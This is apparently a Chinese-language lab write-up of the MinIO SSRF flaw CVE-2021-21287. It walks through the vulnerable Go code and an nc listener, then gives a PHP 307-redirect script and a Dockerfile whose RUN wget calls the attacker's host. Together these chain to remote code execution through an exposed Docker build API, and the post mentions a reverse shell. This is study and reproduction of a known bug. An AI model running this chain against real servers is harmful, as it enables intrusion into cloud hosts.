写在前面

看 P 牛的文章,老洞新学了,不过确实学到了很巧妙的利用方式,对于云上环境来说,如果存在 SSRF 的应用,这种思路就很值得借鉴。

环境准备

开启 Docker API

修改 Docker daemon 的启动项 /usr/lib/systemd/system/docker.service

主要是修改 [Service] 下的 ExecStart

[Service]
Type=notify
# the default is not to use systemd for cgroups because the delegate issues still
# exists and systemd currently does not support the cgroup feature set required
# for containers run by docker
# ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock

重新加载配置启动:

systemctl daemon-reload
systemctl restart docker

使用以下命令查看 API 服务是否启用:

curl http://localhost:2375/version

安装 MinIO

MinIO 是一款支持部署在私有云的开源对象存储系统,完全兼容 AWS S3 协议,也支持作为 S3 的网关。

这篇文章主要利用 CVE-2021-21287 ,一个 SSRF 漏洞,影响范围 < RELEASE.2021-01-30T00-20-58Z

所以选用其前一个版本 RELEASE.2021-01-16T02-19-44Z 作为测试环境,编写 docker-compose.yaml 如下:

version: "3.8"
services:
  minio:
    image: minio/minio:RELEASE.2021-01-16T02-19-44Z
    hostname: "minio"
    ports:
      - 9000:9000
    environment:
      MINIO_ACCESS_KEY: minio
      MINIO_SECRET_KEY: minio123
    command: server /data
    restart: always

漏洞分析

把对应版本的源码拉下来:

https://github.com/minio/minio/releases/tag/RELEASE.2021-01-16T02-19-44Z

直接去看路由注册部分,在 minio-RELEASE.2021-01-16T02-19-44Z/cmd/web-router.go 中,注册了若干 jsonrpc 路由,这是提供给前段的 API 调用:

然后跟进到这些接口对应的 handler,漏洞出现在 minio-RELEASE.2021-01-16T02-19-44Z/cmd/web-handlers.gofunc (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) 中:

因为 MinIO 是兼容 S3 的,所以这个 LoginSTS 接口的作用就是将发送到 JsonRPC 的请求转变成 STS 的方式转发给本地的 9000 端口(也就是 MinIO 自己),本质上是一个 AWS STS 登录接口的一个代理。

有意思的是,MinIO 为了将请求转发给自己,它就直接从请求中提取了 Host(也就是自己的地址),并将其作为 URL 的 Host 构造一个新的请求:

u := &url.URL{
	Scheme: scheme,
	Host:   r.Host,
}

请求头是可以任意修改的,所以这里可以劫持 STS 登录请求,修改其中的 Host 为特定地址,实现 SSRF。

漏洞验证

先在另一台主机上开启 nc 监听,地址为 192.168.250.129

nc -lvvp 9999

打开 MinIO Browser 的页面,抓取登录的请求包:

然后按照代码中定义的调用方式,把 web.Login 改为调用 web.LoginSTS ,并把 Host 字段改为 nc 监听的地址:

放行,nc 监听处收到请求包,说明存在 SSRF:

注意,这里有个值得注意的地方:修改了 Host 之后,理论上单独发包是不可能发到 MinIO 的服务器上的,但是在 Burpsuite 中使用 Repeater 模块就能做到即使修改了请求包中的 Host 字段,请求也能被发送到 MinIO 服务,再由 MinIO 构造新的请求并发送到指定服务器上。一种可能的猜测是,Burpsuite 的 Repeater 模块复用了抓包时的 TCP 连接,因为在抓包时已经根据原有的 Host 字段建立连接了,后续复用这个连接,即使修改了 Host 字段,数据包也会沿着这个连接发送到 MinIO 服务上。

利用姿势

302 重定向

在上面的 SSRF 中,可控参数只有一个 WebIdentityToken ,而在源代码中,这里传入的参数都经过了 URL 编码,所以不太可能被注入:

但是,go 默认的 http 包是支持跟踪 302 重定向的,所以可以利用这一点,使用重定向的过程升级 MinIO 发起的 http 请求,在重定向里加入需要的参数即可。

307 重定向

如果是只需要 GET 请求的 Web 服务,那么使用 302 重定向就可以直接利用了。回到 Docker API 的利用上,Docker 提供了 RESTful 风格的 API,用于给 SDK 操作容器,但是一般不监听 TCP 端口,只能从本机访问。结合上面的 SSRF,可以通过构造符合 API 规范的请求,来实现操作 Docker 的目的。

对于 Docker 的 API,常用的方法是使用 docker run 创建一个新容器并挂载外部文件,然后用 docker exec 进入容器执行命令。但是根据 API 文档,这两个操作对应的接口都是 POST 方法,并且需要使用 JSON 请求体传入参数:

而使用 302 重定向并不能实现 POST 请求,也无法插入 JSON 数据。根据 P 牛的思路,利用了 307 重定向不会更改改变原始请求方法的特点,获得 POST 请求。

307 状态码定义在 RFC 7231 中:

The 307 (Temporary Redirect) status code indicates that the target resource resides temporarily under a different URI and the user agent **MUST NOT** change the request method if it performs an automatic redirection to that URI.

解决了 POST 请求的问题之后,还有一个问题,就是 JSON 请求体仍然无法构造,仅使用 307 重定向只会把原始的 POST 请求体转发到新的地址上。

为了解决这个问题,利用了 Docker 的另一个 API:Build an image

这个 API 的参数是通过 Parameters 传递的,避免了要构造 JSON 请求体的麻烦。

重点关注其中的 remote 参数,其文档描述如下:

A Git repository URI or HTTP/HTTPS context URI. If the URI points to a single text file, the file’s contents are placed into a file called `Dockerfile` and the image is built from that file. If the URI points to a tarball, the file is downloaded by the daemon and the contents therein used as the context for the build. If the URI points to a tarball and the `dockerfile` parameter is also specified, there must be a file with the corresponding path inside the tarball.

意思就是通过这个参数传入一个远程 Dockerfile,Docker 可以直接远程加载并构建一个镜像,而不必在宿主机上写入。

所以尝试编写如下 Dockerfile,在镜像构建结束时执行一个命令:

FROM alpine:3.13 
RUN wget http://192.168.250.130:9999/test_endpoint

然后修改重定向的 PHP 脚本:

<?php

header("Location: http://192.168.250.150:2375/build?remote=http://192.168.250.130:9999/Dockerfile&nocache=true", false, 307);

再次发起请求:

可以看到,先是 SSRF 请求了攻击机上的 index.php,然后被 307 重定向至 Docker API,然后成功触发 /build 接口,请求加载远程 Dockerfile,最后执行了 Dockerfile 内设置的 shell 命令,请求了 /test_endpoint

也就是说,现在已经成功在 Docker 的上下文内 RCE 了!后续当然也可以直接反弹 shell 到攻击机上,但是因为在构建镜像阶段,不能直接挂载宿主机文件,唯一能利用的方式就是把需要的目录复制到镜像内再进行利用了。